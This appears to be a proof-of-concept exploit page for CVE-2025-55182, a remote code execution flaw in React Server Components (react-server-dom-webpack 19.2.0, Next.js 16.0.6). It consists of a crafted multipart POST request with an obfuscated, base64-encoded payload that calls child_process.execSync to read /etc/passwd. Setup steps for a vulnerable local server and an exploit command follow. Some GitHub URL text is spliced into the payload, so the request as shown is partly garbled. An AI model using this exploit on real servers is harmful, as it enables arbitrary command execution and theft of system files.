POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: test
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Length: 1445

------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="0"

"$@1"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="1"

{
    "\u0074\u0068\u0065\u006e": "$2:et",
    "status": "$2:es",
    "reason": "",
    "value": "$2:ev",
    "_response": "$2:er"
}
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="2"

{
    "et": "$3",
    "es": "$4",
    "ev": "{\"\u0074\u0068\u0065\u006e\":\"\u0024\u0042\"}",
    "er": {
        "_prefix": "$2:ep",
        "_formData": "$2:ef"
    },
    "ep": "$5",
    "ef": {
        "get": "$2:eg"
    },
    "eg": "$6"
}
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="3"

"$0:\u0074\u0068\u0065\u006e"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="4"

"\u0072\u0065\u0073\u006f\u006c\u0076\u0065\u0064\u005f\u006d\u006f\u0064\u0065\u006c"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="5"

"x='Y2F0IC9ldGMvcGFzc3dk';d=u=>Buffer.from(u,'bas'+'e64')+'';y=global[d('cHJvY2Vzcw==')][d('bWFpbk1vZHVsZQ==')][d('cmVxdWlyZQ==')](https://github.com/xcanwin/cve-2025-55182-react-rce/blob/main/d%28%27Y2hpbGRfcHJvY2Vzcw%3D%3D%27))[d('ZXhlY1N5bmM=')](https://github.com/xcanwin/cve-2025-55182-react-rce/blob/main/d%28x))+'';throw Object.assign(new Error(y),{digest:y});"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad
Content-Disposition: form-data; name="6"

"$0:toString:\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072"
------WebKitFormBoundaryx8jxCaNwiNWP3Sad--

react-server-dom-webpack 19.2.0

git clone https://github.com/xcanwin/CVE-2025-55182-React-RCE
cd CVE-2025-55182-React-RCE
npm install
npm run dev -- --hostname 127.0.0.1 --port 3000

python3 -m venv .venv
. ./.venv/bin/activate
pip3 install requests
python3 CVE-2025-55182-React-RCE.py --url http://127.0.0.1:3000/ --exp "cat /etc/passwd"

Next.js 16.0.6
Actually corresponds to react-server-dom-webpack 19.2.0

git clone https://github.com/xcanwin/CVE-2025-55182-React-RCE
cd CVE-2025-55182-React-RCE
npx [email protected] nextapp --yes --js --no-tailwind --no-eslint --empty
cd nextapp
npm run dev -- --hostname 127.0.0.1 --port 3000

python3 CVE-2025-55182-React-RCE.py --url http://127.0.0.1:3000/ --exp "cat /etc/passwd"